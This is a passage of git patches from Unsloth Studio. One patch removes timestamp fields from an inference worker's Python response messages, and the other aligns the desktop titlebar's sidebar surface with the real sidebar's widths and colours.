@@ -970,22 +829,20 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                             for name, info in backend.models.items()
                         },
                         "loading": list(backend.loading_models),
-                        "ts": time.time(),
                     },
                 )
 
             elif cmd_type == "shutdown":
                 logger.info("Shutdown command received, exiting")
-                for model_name in list(backend.models.keys()):
+                for name in list(backend.models.keys()):
                     try:
-                        backend.unload_model(model_name)
+                        backend.unload_model(name)
                     except Exception:
                         pass
                 _send_response(
                     resp_queue,
                     {
                         "type": "shutdown_ack",
-                        "ts": time.time(),
                     },
                 )
                 return
@@ -997,7 +854,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                     {
                         "type": "error",
                         "error": f"Unknown command type: {cmd_type}",
-                        "ts": time.time(),
                     },
                 )
 
@@ -1009,6 +865,5 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                     "type": "error",
                     "error": f"Command '{cmd_type}' failed: {exc}",
                     "stack": traceback.format_exc(limit = 20),
-                    "ts": time.time(),
                 },
             )

From 45f060899e56d8a8d218529733075814148f6b19 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Thu, 18 Jun 2026 20:05:02 -0300
Subject: [PATCH 91/91] studio/frontend: align custom titlebar sidebar surface
 with the real sidebar (#6455)

---
 studio/frontend/src/components/tauri/window-titlebar.tsx | 8 ++++++--
 studio/frontend/src/components/ui/sidebar.tsx            | 2 ++
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/studio/frontend/src/components/tauri/window-titlebar.tsx b/studio/frontend/src/components/tauri/window-titlebar.tsx
index 2ef3258902..96556a7999 100644
--- a/studio/frontend/src/components/tauri/window-titlebar.tsx
+++ b/studio/frontend/src/components/tauri/window-titlebar.tsx
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { SIDEBAR_WIDTH, SIDEBAR_WIDTH_ICON } from "@/components/ui/sidebar";
 import { useSidebarPin } from "@/hooks/use-sidebar-pin";
 import { isTauri } from "@/lib/api-base";
 import { cn } from "@/lib/utils";
@@ -243,8 +244,11 @@ export function WindowTitlebar({
       >
         {showSidebarSurface && (
           <div
-            className="h-full shrink-0 border-r border-sidebar-border bg-sidebar"
-            style={{ width: pinned ? "16rem" : "3rem" }}
+            className={cn(
+              "h-full shrink-0 border-r border-sidebar-border dark:border-r-0",
+              pinned ? "bg-sidebar" : "bg-white dark:bg-background",
+            )}
+            style={{ width: pinned ? SIDEBAR_WIDTH : SIDEBAR_WIDTH_ICON }}
             onMouseDown={handleDragMouseDown}
             onDoubleClick={handleDragDoubleClick}
             aria-hidden="true"
diff --git a/studio/frontend/src/components/ui/sidebar.tsx b/studio/frontend/src/components/ui/sidebar.tsx
index eb1e1e1eaf..0a71753899 100644
--- a/studio/frontend/src/components/ui/sidebar.tsx
+++ b/studio/frontend/src/components/ui/sidebar.tsx
@@ -766,4 +766,6 @@ export {
   SidebarSeparator,
   SidebarTrigger,
   useSidebar,
+  SIDEBAR_WIDTH,
+  SIDEBAR_WIDTH_ICON,
 }